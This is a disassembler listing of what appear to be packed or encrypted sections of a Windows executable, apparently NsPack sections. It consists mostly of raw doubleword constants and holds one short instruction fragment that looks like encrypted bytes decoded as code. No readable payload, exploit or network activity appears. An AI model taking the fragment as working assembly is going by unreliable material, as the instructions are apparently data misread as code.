		dd 0E28573ABh, 0D7E8B949h, 99634F11h, 22FF58FCh, 88317D9Fh
		dd 784F901Ah, 1516F454h, 0E4A1E0D0h, 67BF3EEh, 0B98C20ECh
		dd 39F81AEBh, 83584E3Eh, 4B9ACEFEh, 7CB52C57h, 4F9F374Ah
		dd 0C57183DCh, 0B35DBF35h, 85792B17h, 88AD3F54h, 683141F6h
		dd 4BE6FE81h, 7A01E8h, 0D647FBD8h, 4AD7AA0Dh, 76078D0Eh
		dd 979F51C9h, 32855DE5h, 21B3C86h, 5379E64Dh, 3AA33A0Ch
		dd 8B41DDD0h, 965252B4h, 49340E26h, 0D868D4AEh,	32F38121h
		dd 0FCFAC167h, 0D24A992Fh, 0BABCACD7h, 0D9A23C27h, 4A435A6Ah
		dd 2564C138h, 0A1E1A1E2h, 53A4424Dh, 0A9A4506Ah, 0A4FB37AEh
		dd 70321315h, 453F5954h, 7C606444h, 0F866DD97h,	85250FAFh
		dd 50EDF51Bh, 0F0B04D8Fh, 15C5782h, 4D54C7DBh, 4B6F658Ch
		dd 9D614828h, 76E13629h, 4D348248h, 19731EA9h, 0AA03EDC3h
		dd 675E1EC8h, 59AAC0CFh, 56B0C0A8h, 83CBEA3Ah, 2D8B0C9Ah
		dd 1DFD40FCh, 3759B627h, 46F0530Dh, 74F1F145h, 0C03EF3FEh
		dd 5269A9F7h, 0CAC526CDh, 0E78CA278h, 0E5833611h, 80B35728h
		dd 0E42CAA72h, 3DF663A1h, 118FCE47h, 0F8100C45h, 0A444E5EAh
		dd 4D3A3AB4h, 599EF6A2h, 0F3F9FEDAh, 34B82E8Fh,	0A25D4C75h
		dd 2B3346D0h, 4158BCE7h, 9E52A005h, 39D24D60h, 0E4647292h
		dd 9B6265E2h, 0A118CFCBh, 4917C4A8h, 2F808E1Bh,	3F005BDFh
		dd 78C71E6Fh, 0DEE98A41h, 27E2E23Dh, 498CA8Fh, 49FD2D5h
		dd 3208CF11h, 0DFA945A2h, 9032B147h, 0C7EE6255h, 6A8E3A24h
		dd 0C5E2D3E2h, 0EE8DA958h, 1B09D73Ch, 0E699EFA9h, 467A2A73h
		dd 0F09155BCh, 54D83DFBh, 1D84CB5Eh, 3CB1DDFh, 0A146FB2Dh
		dd 27469C70h, 9D52EC10h, 8215F5BBh, 8C17DA46h, 87FBDBB5h
		dd 5ECCDA7Ch, 0CD26F738h, 567953E2h, 0A7F81400h, 2C2335D9h
		dd 0A54ED914h, 0DEA507F4h, 1D310A18h, 6D7AD5B6h, 0F0675A95h
		dd 35321742h, 218A8719h, 0FA4D34BCh, 0B98C5A3Eh, 0DD25AB9Ah
		dd 0D33309E1h, 40FCB0DFh, 5738555Eh, 0A5DE3F6Bh, 7666B04h
		dd 22C7A3F7h, 0E9ED6D8Eh, 130DF6EAh, 9FB7D677h,	0C29F203Fh
		dd 67B5F2C3h, 32EB8ACh,	0EC815967h, 2940C18Ah, 0FB4F93B4h
		dd 3CDFD83Ch, 9199FE74h, 27C01FB2h, 0F98E9D29h,	0C2479A39h
		dd 0B9715DF4h, 0D4A87571h, 9E02127Eh, 0A0D01226h, 28D067D7h
		dd 0F60676EEh, 9245BE00h, 0FA7F0493h, 14CC6FF3h, 20AF9C8Eh
		dd 0B993741Bh, 6AA0F944h, 0F774AD38h, 9D0F324Bh, 81AA09Bh
		dd 0E1A8FA3Ah, 0B64579BFh, 0A5467DAh, 878A9827h, 0FB0CFD13h
		dd 26E829CBh, 0E11E45C2h, 408D41A1h, 9BDDC71h, 3D0B17D9h
		dd 9924D914h, 0A46440Ch, 47CC5664h, 1B8E6587h, 0A001192Dh
		dd 39546A1Bh, 9DD7F024h, 8BDFDB02h, 6713BA36h, 0A6715CAEh
		dd 14BB190Fh, 4B376079h, 0A1559FBEh, 32B6FB2Bh,	92985938h
		dd 0A4E4FCA8h, 0B98C73FCh, 67E39F4Dh, 2FAB8E3Dh, 0C336C1F8h
		dd 479E3091h, 0E37B9791h, 80B71498h, 1CFB99A1h,	0D204ED83h
		dd 3EA71F35h, 0D52BF213h, 6151322Fh, 41726376h,	3C97A258h
		dd 5E29318h, 0C514E4Ah,	0E620E011h, 94A078E3h, 0C94FB898h
		dd 22477C65h, 5A0BD2AEh, 1EE66886h, 1F582672h, 0DE6E6CDAh
		dd 32DF4924h, 0B53F4E54h, 1DAF15CDh, 3232B82Dh,	0D1415AC2h
		dd 0A6BA11E2h, 349C89C0h, 61431543h, 0B7E017Fh,	921A5B9Bh
		dd 379B480Eh, 26528ECAh, 4C38CFCh, 0A7137229h, 8BCD81A5h
		dd 9FD3C6A7h, 0B064C56Ah, 21B34886h, 0D6F2B02Ah, 0BCAB6AA6h
		dd 0A9E98DA3h, 37929856h, 0C9871AFCh, 0E441293Fh, 7A1F3927h
		dd 40FE3552h, 0A066BD35h, 0F001838Fh, 6C19F53Bh, 46ED4874h
		dd 3D8AD5A0h, 19F8CBC8h, 4E0F3729h, 0F131E826h,	8EA3A956h
		dd 0BD3C1C84h, 843074B2h, 6C009930h, 6858B0C8h,	0FA2200A3h
		dd 9F75BA3Dh, 0ED3C6287h, 571957E1h, 3C55A1B5h,	0A598FF2h
		dd 60CA0BEAh, 93165071h, 55907F78h, 7DC7F5A1h, 0FDA7EFDh
		dd 2D838140h, 64685A52h, 3F393D55h, 0EB44A453h,	6E017FAAh
		dd 3752EC36h, 0DA4B5774h, 0CA38407Dh, 9E5409DAh, 0DFD062CAh
		dd 7CEF6810h, 0A77FEA09h, 90A89AFDh, 7CBABF4Bh,	0F7264EDh
		dd 0AC9F5BD1h, 89E14E50h, 42BED9A6h, 0AA77F131h, 1709CE70h
		dd 0DA6589B2h, 829EAB73h, 8883A179h, 72094CADh,	8152617Bh
		dd 0B328E95Fh, 0F066DBE3h, 0A7CCC5D6h, 0E50ED219h, 0E86A48Fh
		dd 9F961AF0h, 0A28C5EB7h, 0FDB01CAAh, 63E29160h, 4D560D6Eh
		dd 2B71827Ah, 0D49BCAE1h, 0C993E84Fh, 0A4B6A631h, 2A2B3E2Bh
		dd 4DE2160Fh, 0CA1B9BE9h, 82A0BCBDh, 176BF0E8h,	678569D5h
		dd 5E58791Eh, 36E6901h,	4D67CFD3h, 63434042h, 0E452E1h
		dd 0D4F80349h, 89AF6687h, 0FD0966F3h, 0B3599ECh, 3C0151DFh
		dd 770B6B53h, 59C9694Fh, 0A3FE9793h, 98514B2Dh,	60A1E85h
		dd 55937AE1h, 4AF30376h, 0D795E5A2h, 96378160h,	96DA8D2Fh
		dd 61561E78h, 7F1FD056h, 0E166D72Fh, 0FB7B0F7Fh, 1EF25471h
		dd 0D6C240DBh, 22778795h, 5BABC24Ah, 9219598Ah,	0E32CF87Ah
		dd 0CEB5E686h, 571AF7F2h, 63656C35h, 0D9CBE99Eh, 0A329D5ECh
		dd 704304DEh, 4037E9BAh, 1B4058DFh, 0CE6F4C47h,	81181681h
		dd 0B494B9B1h, 28F4FB33h, 0BF6C6652h, 50575F47h, 0B2E516F5h
		dd 8F00D768h, 7AC64454h, 305FAD28h, 0E06F80B5h,	779236A5h
		dd 0F66EB3ACh, 338DAE5Eh, 0ED4A2A69h, 740C12ACh, 6D1F8BB9h
		dd 0F819FE67h, 125EC442h, 0FB6AF757h, 2F0C9A0h,	0FBF94130h
		dd 4C4FDE7h, 0B63F4EF8h, 0E051FDBCh, 42E6B3B9h,	0B0A39BEAh
		dd 3C1031C1h, 4CE7D487h, 1EB95C6Bh, 185502E4h, 1808AB7Ah
		dd 0DD645B7Ah, 18B48ABFh
		dd 0D0C0D353h, 0E3638343h, 297EF0D3h, 0C7A8E0C0h, 0FD4E13EEh
		dd 6639BBA4h, 0CF7922F7h, 0C36E8E2Ch, 0DC7EEC5Fh, 1FC87C4Ch
		dd 479393EDh, 6212CEE8h, 0D73FB51Bh, 0DB1DDE47h, 0C62B20BDh
		dd 20884003h, 0CE9E17FEh, 0BE992167h, 42D2D7B2h, 10CBCC6Eh
		dd 4C51BF9Ah, 0A9F662C7h, 6C2CAFA0h, 67D1657Ch,	0AB89D183h
		dd 54BB67EFh, 0DAA54940h, 0A871FC0Ch, 0F4B2AEA9h, 0ABBE79BEh
		dd 0DAF9EA93h, 0A733D73Eh, 5B62AA04h, 927E5A2h,	42B8A408h
		dd 0FE8F16C2h, 0E93802B2h, 69FB0DFBh, 7FF2727Eh, 0AB2ECAE6h
		dd 116489DBh, 8131D090h, 36A9CBE6h, 0A56AD9B6h,	0D1CBBC2Fh
		dd 0EBEC3031h, 901B02E9h, 0D8CC1592h, 9F45956Dh, 8C60435Bh
		dd 77B7E441h, 0F0DF88A8h, 81499AFCh, 10D34B3Eh,	7AD9CA37h
		dd 0D383D2C1h, 0C2A69E80h, 62188566h, 1FAD3ACCh, 0DD42F8B1h
		dd 36DFFA3h, 0C42B8B94h, 0D10158B9h, 31350E2Ch,	2D32186Bh
		dd 0DDBE70A2h, 3575CDAAh, 0C57E0E98h, 0D65B0E64h, 0DFA1E197h
		dd 0F9A8405Fh, 6B599499h, 0D5F526A1h, 6D709D95h, 25674E9Bh
		dd 931527D6h, 0BBFB1C3Bh, 25C25088h, 9AC6D4DBh,	24D3F2F5h
		dd 813B5418h, 186F8072h, 77826764h, 0D41E0034h,	510FF83Fh
		dd 833E92B8h, 9E44A2AEh, 7FB23D18h, 5E410572h, 3B8AC0B9h
		dd 39E803E2h, 0F17123A2h, 0F686228Ah, 1FAC259Dh, 0D9ED9F16h
		dd 4906CF81h, 6E28411Dh, 6C0114D0h, 9D615E83h, 7CD74269h
		dd 2150F494h, 0AC628D3Dh, 9179684Bh, 5774E312h,	61243441h
		dd 0FED5C84Ch, 0E3F99686h, 5696827Dh, 56D309BCh, 2F30806h
		dd 67017003h, 0E99F21CEh, 0BA1284ADh, 80C8106Fh, 0CCFA722Bh
		dd 0C9CC5869h, 6FB920ABh, 0EA260662h, 0F5A37D0Ah, 0AA11D4D0h
		dd 0DD344E77h, 8143CF7Ah, 47214FE2h, 38E1DD8Bh,	13C46F2Ch
		dd 0BF68FB39h, 2C3F8EF5h, 7E0D60Fh, 0E711BDDEh,	8368DC79h
		dd 0B315E072h, 3DB307DEh, 9504983Fh, 0EAB1630Ah, 22E8930h
		dd 0B7344D2h, 1DC98C42h, 1AC9BA56h, 5F6FE4A4h, 98870373h
		dd 0B89AF510h, 0A40AFE1Bh, 0EAE8C9CDh, 0C26C3237h, 6FA7FB7Ch
		dd 7ED9B20Fh, 0FFC99B2Eh, 0E83F69E1h, 0C1B20813h, 7E79EEDAh
		dd 0F20146B3h, 0E24D7592h, 99DAE9EAh, 0D206EC67h, 4A1FBA02h
		dd 31AE889Ch, 0E27CAEF7h, 8FCEFA8Eh, 63B138EBh,	15D04E24h
		dd 871444E8h, 4A8BF4E0h, 0B3440674h, 7F1438F8h,	0C9A9BE48h
		dd 498D149Ah, 114C18E7h, 27B0B91Dh, 4DECD634h, 0A81F06C2h
		dd 0CF24E4F0h, 0E266536Fh, 34B8C37h, 0D21A9236h, 230A8F10h
		dd 6564FA9Fh, 300D5031h, 63B68D0Bh, 0D104F2A4h,	8345BDA0h
		dd 74FCFA8Dh, 90608D4h,	0B318C939h, 0E4B136EEh,	0B7B2F144h
		dd 0B46B6C68h, 0B5F75D7Fh, 3BB4F852h, 0BE13F130h, 0FFDF090Ah
		dd 0D89F5C49h, 5666DC7Bh, 0C29CC85Eh, 0B68AFD69h, 161E6E3h
		dd 0E7FBE0F7h, 0C306AD93h, 0FABE06C5h, 0F9278621h, 9818ECEDh
		dd 7A3D382Ch, 0C6BC4333h, 49238535h, 0ACBFFB84h, 6392F519h
		dd 9D41DDE5h, 85F6DA5Ch, 0FE29A310h, 0B52D9F25h, 0CB358F76h
		dd 68CFA5D0h, 0B2F0B2EEh, 0E8E3EF07h, 22D5C282h, 5C595DEFh
		dd 37D6DCEAh, 1BC1E058h, 692A8B36h, 814F76FCh
byte_4E414C	db 4Fh,	4Ah, 5Bh	; DATA XREF: .nsp0:off_43D1F0o
; ---------------------------------------------------------------------------


loc_4E414F:				; CODE XREF: .nsp1:004E4161j
		push	esp
		mov	esi, 8CE5044Bh
		cli
		mov	ecx, 0E0C142A9h
		mov	eax, ds:0B9035C5Ch
		dec	esi
		loopne	loc_4E414F
		sbb	al, 0AEh
		push	ecx
; ---------------------------------------------------------------------------
		dw 7ACEh
		dd 0CF64872Bh, 4185DD51h, 10952331h, 4C9F7B8Ch,	0C9DE7617h
		dd 0FFAFBD95h, 8E693946h, 39F0E603h, 935C0EB3h,	2D18166Bh
		dd 0A76670B0h, 8D2546C3h, 0D1A55A75h, 0A6E45F06h, 0ED13FE3Eh
		dd 9FF0AD34h, 98A113BEh, 0FFA690C7h, 8A5D1B12h,	3F7EFE45h
		dd 0B9990BC6h, 0FF5F1EA4h, 0CA9A40D6h, 645A36D7h, 71200639h
		dd 0A4EC311Ch, 0A27FC23Dh, 0A27C8E11h, 552B1BC7h, 9CD12202h
		dd 1092FF61h, 24A97EBCh, 77AE8911h, 0F228753Bh,	0BD367D35h
		dd 9F37B3B8h, 0F76208FBh, 6A140F5Fh, 0F7FE6904h, 44C945ADh
		dd 67571764h, 88B5B1DBh, 74C878D7h, 6543DA7Eh, 1A26E89Eh
		dd 5D32D95h, 95DAA98Dh,	88FB1DBCh, 37F495DDh, 74A2ECD7h
		dd 944671D9h, 0EACB80F5h, 0BBB9F0CCh, 0BFFD27E9h, 16A1674Fh
		dd 21C5408Eh, 407FD24Dh, 77A3A5C2h, 0A91EE5Bh, 4F4C4CA3h
		dd 0FDB12149h, 43116C91h, 0CA0D82B9h, 0D14E9A46h, 0B8905752h
		dd 0E3C24792h, 20808A4Dh, 0F66AA551h, 0ABAB42C7h, 49444818h
		dd 0B162471Bh, 84672197h, 5A3F4D2h, 0B40DB78Fh,	0B89E8805h
		dd 0EBCF7807h, 0D2F6207Ah, 0DA823421h, 8A168218h, 0C4DDAE03h
		dd 0E2DB6490h, 389CFE6Bh, 287209CCh, 769B0A59h,	8DD7847Ah
		dd 0B20F093Fh, 5CFD9A5Ch, 230716E1h, 0A55D2DFh,	0B464E14Eh
		dd 0DAF2F1C2h, 3E8361ECh, 992229BBh, 5B8A1C92h,	0BCF61360h
		dd 186057E4h, 0A8198063h, 2D3F5CAFh, 0EADD4BB3h, 2404DDBCh
		dd 9EF459B7h, 80ADACF0h, 2112EADh, 1AA36667h, 5397ABEDh
		dd 0C6C05F2Fh, 6894DB08h, 0CA83D9C6h, 18CE0B72h, 66A899ECh
		dd 0BAB86B17h, 0BF94CF54h, 0CB98890Fh, 959F3F7h, 0BA93EE4Eh
		dd 847C0655h, 0E1DC9B57h, 34F7E246h, 0BFAADF81h, 229CE775h
		dd 0D55C1AF0h, 6DBA2B17h, 0D1A33DB2h, 14F5DBB7h, 0A37F7E01h
		dd 0A340503Dh, 498319C3h, 0FC30BA61h, 0D03FE0CFh, 0ABC70A7Bh
		dd 76D21C39h, 0B1402D5Eh, 6E3CC9C5h, 0A4E74E24h, 9C822FE6h
		dd 13D774FEh, 0BD6D13DFh, 1C64658Dh, 864C14D9h,	0A83FC149h
		dd 0C7C47F94h, 5C4FB017h, 744EA24Dh, 8760B9D4h,	0F2C90E40h
		dd 0FA630B4h, 212A998Bh, 5F5162F5h, 487E7B1Dh, 5B568EE6h
		dd 0A4F9712Eh, 0CC673AE1h, 0C80B3C78h, 0B467B43Ah, 24D57B9Bh
		dd 3A14B266h, 0FA9AD405h, 0D66764C2h, 0DA161274h, 0B03D7938h
		dd 0D12AF78Dh, 6839F827h, 0ED1AA743h, 205659D7h, 4C7283F0h
		dd 0D45A8533h, 8C4F43FCh, 18F2E755h, 8535C69Ch,	0AEAC6D52h
		dd 4AA331h, 3A2EC7F8h, 45D5AD2Ch, 8FA9829Bh, 0F20E07E2h
		dd 2B66F02Fh, 40C58790h, 0E2A44EE5h, 0DF1004Ah,	0E4825CB9h
		dd 0D6718EF4h, 0DCD0FB0Ah, 0DF5BFF5Bh, 24618E5Fh, 0D2FC1E97h
		dd 0CB468694h, 12F53EF9h, 9CCCBE1Bh, 0C3B77E51h, 163E3AEBh
		dd 0CF21E91Dh, 0E7654DEDh, 0DD05B878h, 0B2FE6109h, 76D051E8h
		dd 0F4F1CF3Fh, 51545406h, 649D879Fh, 0DD05E168h, 0B037240Ch
		dd 0FC2E031Fh, 5980A417h, 4A6339EAh, 284035A8h,	3744FDC2h
		dd 51F03439h, 21AE72BDh, 0BDC289D9h, 8CD9791h, 1FC41DE1h
		dd 672053FCh, 9CEB6C3Ch, 81FF185h, 82972751h, 0A624588Fh
		dd 0B4D41762h, 7ADEAA4h, 0C31C3A0h, 1891D283h, 0B904B7B9h
		dd 0B2DECCB2h, 8CE0681Dh, 0EA0BD35Ah, 45841591h, 757C7B30h
		dd 4561747h, 87900A14h,	0CEB983A5h, 0E879BFAEh,	4C9F2D5Dh
		dd 5463FB8Dh, 52FBC90h,	56853F14h, 555D39D8h, 0F882B218h
		dd 0B54B937Bh, 0ED5C2E29h, 57E76650h, 6C97A436h, 31C90035h
		dd 98ABCA2h, 93AC9072h,	9FE7335h, 149B01EBh, 1570D3E6h
		dd 7AA1F946h, 271A0CB3h, 2BA55AEh, 783F379Ah, 0FAA193F6h
		dd 0B187A30Eh, 7CB0542h, 0F1DDA2F9h, 0BA1F383Bh, 0E56D8C90h
		dd 5B113149h, 2B148DECh, 85A3527Ch, 0A285FACEh,	0A6840DB6h
		dd 6E4615D1h, 0E9835B62h, 0C78A0B5h, 0C5CFDD9h,	72ACCBCBh
		dd 0E27DEF2Ch, 90195F05h, 40532469h, 713FD180h,	0AD587C41h
		dd 0B120DFEAh, 0FCF8A321h, 0A6C01A97h, 0ACD57945h, 4A0CCA2Ch
		dd 4721C258h, 80C544DEh, 0FE457AB5h, 65FD05E4h,	36EA6F42h
		dd 6ADA9FBCh, 8386A3F2h, 0D07B75Bh, 686CC778h, 2BC3EE82h
		dd 0FBB48CE3h, 1E2933DFh, 18BB425Dh, 0A6A9948Bh, 0AE73C0D4h
		dd 0BDF1538Eh, 0CF8941F9h, 0F4C9E0FDh, 0F980626Eh, 0B2ED51BCh
		dd 0ABD2DAB4h, 51C38B7Bh, 33DF3BDAh, 6173CF1Dh,	0D0521084h
		dd 3F7E57D1h, 0DA306D9Ch, 196CCF3Bh, 48BAA5A8h,	6E09B432h
		dd 6A9D0914h, 0DE469D2Eh, 77B920ADh, 8FF0C74Ch,	0FFD01790h
		dd 30D2FA41h, 0EA6990DDh, 0E5F93AAEh, 9B6989E8h, 0A9DC73D5h
		dd 4D3F592Bh, 51417357h, 0B56AF1AFh, 53436058h,	1F33F880h
		dd 0AB6ABC37h, 9439AD47h, 29473163h, 1001D35Ch,	83C5D5BCh
		dd 9530F805h, 575A6365h, 6654832Eh, 0A7467DB8h,	8EE1F035h
		dd 0B9ED2CB3h, 1462F7ECh, 6638F2AFh, 0DDE77682h, 0CC4CEEE2h
		dd 0C40843C0h, 13E8ABDBh, 34946205h, 25D8E913h,	0D0D0A2A0h
		dd 0FDDD7D4Ch, 0E936C67h, 0D3D9078Ch, 62C7423Dh, 2016DFD2h
		dd 0DE92053Ah, 83FFBE66h, 0A68366C5h, 9367E70Eh, 0D6BCDEBh
		dd 53615B8h, 0C3E89F39h, 0F8A9B8C8h, 8FB88A2Dh,	0B4201A3Ah
		dd 83EDA721h, 64808F69h, 0C7458882h, 4F6A7A68h,	0E05508D0h
		dd 0E3323555h, 126161B5h, 6554F2F0h, 5548B2C3h,	27D23AD2h
		dd 52636EFDh, 69DD1BE4h, 0C8AABF8h, 5BC0D2A1h, 7CDC553Ah
		dd 0C5A36A13h, 6DADFA54h, 6980BF6Ch, 0BAFC4341h, 887A2AB8h
		dd 61DFE6BAh, 26B070D2h, 0FF9005EFh, 914BB508h,	0B0F5B3F3h
		dd 64028760h, 0CC3BDCB3h, 2862CC44h, 3BDCE784h,	2F677B13h
		dd 48D4B6F4h, 0C6B874B8h, 421A2E9Ah, 9BA9C278h,	0AAA71E55h
		dd 0B393741Ch, 9B71D21Ch, 9C65469Ch, 5677AF76h,	1990C5F9h
		dd 3CAF566Ch, 87AD0DCCh, 0F16533D6h, 0A0FFA078h, 8DF12D72h
		dd 5B1323ACh, 9D45E3F1h, 5913624Bh, 4AD4E075h, 0A89B240h
		dd 1F64E63h, 64708529h,	1B00F187h, 0CD03E353h, 9618AFD0h
		dd 0AC2F5D7Bh, 83DD3499h, 0B727CC50h, 11D95E0Ch, 0B8A1B3Dh
		dd 0D944BFAEh, 0B2BBF8h, 0B0328DDCh, 0D200983Ah, 0D361006Dh
		dd 0C73936A0h, 4BF3185Eh, 0FCA9DBF7h, 2E72BBE3h, 718B2340h
		dd 2C64F1D6h, 5471C638h, 1D07D9CBh, 8D6B465Eh, 261F9BE7h
		dd 0E49ED267h, 297CDD4Bh, 0B34AE4D7h, 28415320h, 975341BBh
		dd 0DBD8F7BEh, 121ABC9Bh, 4830C196h, 1F30AD1h, 0F36FF579h
		dd 4F1C431Fh, 4EF4581Fh, 2B36DBBAh, 8361D3BBh, 0D81E3E17h
		dd 60BCDDE9h, 0EFA0E58h, 1AE8C7D2h, 4EC5EE2h, 4713988Fh
		dd 0FB017417h, 0B21622D3h, 439C2221h, 0CD29D2F9h, 8541EE0h
		dd 87F3F23Bh, 4E17A2Fh,	38292DBBh, 0DDB3326Ah, 9C5F1BECh
		dd 57E8181Fh, 0A11FE9F9h, 0DF1F1FBEh, 95585A26h, 0B726AD04h
		dd 16A707F9h, 35D15388h, 6EC4C36Dh, 13DFED41h, 0B98A06A6h
		dd 0CD9F4C8Ch, 3381D9EAh, 0B7B9CBECh, 0EBEE967Ah, 0CA50750Ah
		dd 346F5D6Fh, 0B2285AD4h, 2F3F3412h, 1817A5EFh,	4F749E4Ch
		dd 0A337E01Eh, 8F67015Eh, 0C76F19Eh, 178685DEh,	8541A71Ah
		dd 0C28223Bh, 0C3745C23h, 30BCB816h, 25E0E49Ah,	11084E7Bh
		dd 0EAE74C0Fh, 0ADF3F99h, 0E9F0F801h, 64149731h, 8A51A2A1h
		dd 671FABCh, 0B0CAB797h, 167483ACh, 82A82F63h, 473DE1B2h
		dd 0AB944EFAh, 0B0D57F41h, 80733106h, 7E12E15h,	6F1F58E3h
		dd 0A2E24DCCh, 1E3CE379h, 8779329Bh, 0AF179B7Fh, 97E90203h
		dd 0E31AA924h, 0FF4A2E55h
		dd 1FE9D762h, 5D9D856h,	0EC7CA119h, 0D109CAA4h,	170ABD69h
		dd 1A3C5F52h, 0AFC5B65Eh, 7747B374h, 64082F57h,	54C7304Ah
		dd 363FFA41h, 9CB0A406h, 0DC504496h, 9431DAAEh,	0D065BD2Bh
		dd 0B459234Fh, 153B03Eh, 5DD3E2F5h, 0C756F2EAh,	0F7675597h
		dd 885185Dh, 0EE89DB1Ch, 7CD95CA8h, 0C2143D47h,	2EBC4252h
		dd 74BEE26Fh, 46D24789h, 8689DA5Eh, 89C3C3AEh, 869646EFh
		dd 0B593E1D4h, 0F6A5F763h, 0D19800BFh, 96A37B5Ch, 67A352B2h
		dd 0E035D448h, 0FD7C766Bh, 0D8CAC593h, 5FB9754Bh, 76482DE6h
		dd 67357788h, 6424C1E2h, 0DDA895F9h, 0B5EA5059h, 3926C3B9h
		dd 0C530AF23h, 908AF263h, 0C5F31D00h, 0A8655A46h, 5BF8A771h
		dd 1FB21C5Ah, 4C397B3Eh, 2D4A6737h, 4FE33BEEh, 0A18653DAh
		dd 0F0B5B711h, 0E59B6DB1h, 79D23580h, 99EF6AF7h, 169F64ABh
		dd 0D23BAECCh, 1DA9E5ABh, 0CA4F30C3h, 0F4DFE1B4h, 0CF489AE0h
		dd 1FCD93E7h, 0AE92C8EEh, 0CF99064Ah, 0CB388636h, 6765A8FBh
		dd 0FFFC298Ch, 0FC04EB54h, 0A437BE5Bh, 5C3FB3F9h, 35EF56EDh
		dd 0DBF6B087h, 56A514B1h, 906E969Bh, 1A8B66E2h,	0DA456DEFh
		dd 6DDE8FF9h, 463AA7F4h, 0EDB1A04Dh, 0C54405F7h, 50DB74E0h
		dd 37C92ED7h, 0DF07C865h, 1331528Ah, 0D72BFA0Ah, 41C1277Ah
		dd 0BE529921h, 3296B66Bh, 57928813h, 1C4507Fh, 9D44D070h
		dd 0A04A809h, 594A72F6h, 0D645631Eh, 675FBB67h,	0D944C704h
		dd 5DFF2633h, 0D68BC3E2h, 8954CF12h, 76FA8898h,	8A5A378Bh
		dd 0C745A4Eh, 0A1D5A8B7h, 2B3DD99Eh, 0D99F0F41h, 0B07F74FFh
		dd 0E64D716h, 4D9E6560h, 0A2D9CF03h, 99F17259h,	73299FE1h
		dd 903AA472h, 6CDF68C3h, 0FCDF8EE3h, 14F9921h, 64EC523Ch
		dd 5718008h, 5ED72B8Dh,	9F756FEh, 0B893D952h, 3E137104h
		dd 1EA4C8FDh, 0A2051A56h, 0D0A4BE7Dh, 0C95F9EBEh, 882801FEh
		dd 0EF1A9973h, 0EB8B5321h, 22D90850h, 0FEB9501Ch, 14C52CB3h
		dd 0E22F6F80h, 2F06AA9Eh, 0DAA10CA6h, 8E6E62BAh, 0BED4D318h
		dd 2B732A1Bh, 9E6FC467h, 0BB140B15h, 0D20DE32h,	854D5CFFh
		dd 0A724C4ECh, 1D826734h, 2525D747h, 0D394F29Ah, 0CCCD7B18h
		dd 0E7B3979Ch, 83578B42h, 2660D3B9h, 0D931CF20h, 320E9939h
		dd 97319F6Dh, 8F2F98F1h, 0EC479FC1h, 3FCB2B81h,	49DBB824h
		dd 99A55346h, 0E1C9EBD2h, 0D57FD4B1h, 3451ECD4h, 0BCFFABA2h
		dd 0BC47F951h, 4413FCDBh, 91119436h, 4E4F239h, 0E8EE2697h
		dd 889258A1h, 29B28E00h, 30EDC0EEh, 0EA855BE1h,	9A487B39h
		dd 0A80E11A0h, 0E2CEA0F9h, 0F9236745h, 68A5F93Fh, 0D35DDA4Bh
		dd 0A0ACDEFEh, 0EB8AF1D1h, 9BFB109Bh, 5104B787h, 0F7FAD3BFh
		dd 0EA36F363h, 879F30AFh, 0CF8FF541h, 26CAAF9Bh, 0FFE2CC4Dh
		dd 9D199CC2h, 0ECC185D9h, 9B767DF2h, 0A08A85FAh, 0D6AAD906h
		dd 91DA7783h, 9E7ECBB2h, 96630B35h, 0FC9275A8h,	3AB3F4AEh
		dd 3EA240B4h, 77620BEEh, 285BDFCCh, 8BAB8F4Eh, 0E99262B7h
		dd 38454D15h, 0A03478B7h, 0E432E67Bh, 8C30AB48h, 75F51878h
		dd 7E381314h, 224F2F28h, 6C372EE0h, 0DA2C697Dh,	88A0683Ah
		dd 2EB39C12h, 7683DBE3h, 0D1CBEAD3h, 7B8381D6h,	73AFC614h
		dd 40E8E74Ah, 4AA7D67Ch, 2D7E0D35h, 82258AECh, 8209C8A9h
		dd 0A3768976h, 0C41968E6h, 0EF0BE0DEh, 57ADA73h, 46B72024h
		dd 4E646640h, 28F94FDEh, 9DC8D357h, 0B0A45702h,	381D70ADh
		dd 8A58AC97h, 98F2F09Dh, 4CEC734Ah, 39E8E0C3h, 9D1AFCABh
		dd 3217C3F3h, 45BF6B84h, 0D38C6A6Fh, 0F8CDF75Dh, 37504384h
		dd 0EC5455BCh, 0BF7C034Ah, 9F3C0D12h, 50EF01B0h, 242B8A5h
		dd 0ADBDC18Ch, 0E0B6FF11h, 953E891Fh, 3041C01Fh, 728B2539h
		dd 1167E0FDh, 6E9849BCh, 12D8280Ah, 474A3502h, 975A6194h
		dd 0BA88D829h, 27373D6Dh, 0E437639Fh, 0D04BAB33h, 77D80A22h
		dd 0E7F5996h, 0F86E3AFEh, 6AE9CDBFh, 60E9C1A0h,	36448342h
		dd 8FFA8361h, 0BBDA5949h, 9168E044h, 0C8B3CE70h, 4FB241D3h
		dd 0E2C9B8DEh, 0A8B3C837h, 0FB74DE6Bh, 0DFC39732h, 6A362684h
		dd 0E70F9FF6h, 0F4A2F40Eh, 1A038A93h, 9A0003F8h, 7D62D52Fh
		dd 0EC5C41A5h, 89DB2916h, 5D400370h, 446C660Bh,	0D22932C7h
		dd 549D6B18h, 0D5299882h, 0C281F60Bh, 0C96223C9h, 7EDC76CBh
		dd 7593C4A5h, 4D7C635Eh, 8AC5C7E7h, 9E6DB5B9h, 5429F0C4h
		dd 42D2D59Ch, 137E330h,	9F6CF691h, 2505B94Bh, 69B182F6h
		dd 70D6F4C6h, 0EEACC05h, 8B42A44Ah, 474129B9h, 8189AA2Fh
		dd 634A5E72h, 75FD18F6h, 9654C034h, 50C7DB44h, 0ABFA8ABCh
		dd 3892259Bh, 0DD51365Dh, 4CCBE44Fh, 6B763F04h,	99DBA376h
		dd 7549C77Dh, 8AF1D377h, 0F668A70Eh, 3DA115F9h,	339D0170h
		dd 0E90D4AB3h, 6557DF99h, 0B8B02D18h, 0FFAEFA6Ch, 2449476Dh
		dd 0DBFC63CAh, 3981257Fh, 91BA1098h, 0B6B15162h, 0D33F268Eh
		dd 0ED7766CBh, 0E4936FDEh, 323D9E9Ch, 221F9AE1h, 97E63E35h
		dd 0CC207D4Ch, 601E08CDh, 9FD50203h, 12E76576h,	0E032543h
		dd 517B901Dh, 0C63591E7h, 7D594DCAh, 88EE7875h,	0E21AE5CBh
		dd 5A16BA67h, 1C364396h, 0BE0B103Bh, 0EE3B217Eh, 0CE61AD14h
		dd 12D9020Dh, 0E772C1FEh, 4D61182Fh, 40579ECFh,	205894F2h
		dd 0D7BCE2F8h, 0D96C5E30h, 0CD58E996h, 0B135756Fh, 9B425647h
		dd 0DEC906FDh, 1A2FF6C9h, 0D609240Ch, 705AB1Fh,	2352F643h
		dd 0CD53CCABh, 274D2A26h, 83325EA4h, 5F657259h,	4A44BE80h
